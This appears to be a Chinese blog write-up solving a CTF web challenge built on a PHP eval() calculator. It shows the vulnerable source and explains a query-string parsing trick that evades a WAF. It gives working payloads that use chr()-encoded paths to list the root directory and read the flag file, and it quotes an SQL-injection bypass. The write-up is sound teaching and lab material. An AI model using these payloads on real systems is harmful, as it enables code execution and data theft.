抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

首先了解下**CSS3 calc()**函数的计算实现。

calc其实是calculate 计算 的缩写形式,用于动态计算长度值

需要注意的是,运算符前后都需要保留一个空格,例如:width: calc(100% - 10px);
任何长度值都可以使用calc()函数进行计算;
calc()函数支持 “+”, “-“, “*”, “/“ 运算;
calc()函数使用标准的数学运算优先级规则;
可以使用百分比、px、em、rem等单位;

然后我也没有具体使用calc函数。看了下网页源码。可以看出它是有过滤的,并且还有一个calc.php的页面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

再网页源码有个waf,encodeURLComponent将url进行了编码,同时php还存在高危漏洞。

啊,还要再了解下php字符串解析特性。

我们知道**PHP将查询字符串(在URL或正文中)转换为内部关联数组$_GET或关联数组$_POST**。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1
2
删除前后的空白符(空格符,制表符,换行符等统称为空白符)
将某些字符转换为下划线(包括空格)

Example:

User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

所以这里的waf可以利用加空格或者下划线进行绕过,在php执行变量的时候因为解析问题会自动将改变的变量变回需要的变量。

这里使用calc.php? num=phpinfo()这样就可以绕过waf。

但是这里不能传一句话,但是需要了解一个函数,scandir("/")意思是扫描根目录下所有文件,但是这里"/"被php过滤了,可是我们可以用chr(47)绕过,发现flag文件。这里chr(47)就是/的意思。

calc.php? num=print_r(scandir(chr(47)))

这样扫出了flag,在最后就是读取值。使用file_get_contents函数

calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))这里的chr意义同上。/flagg

这样就拿到了flag

var_dump() 函数用于输出变量的相关信息。显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

PHP 版本要求: PHP 4, PHP 5, PHP 7

payload也可以写成

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

评论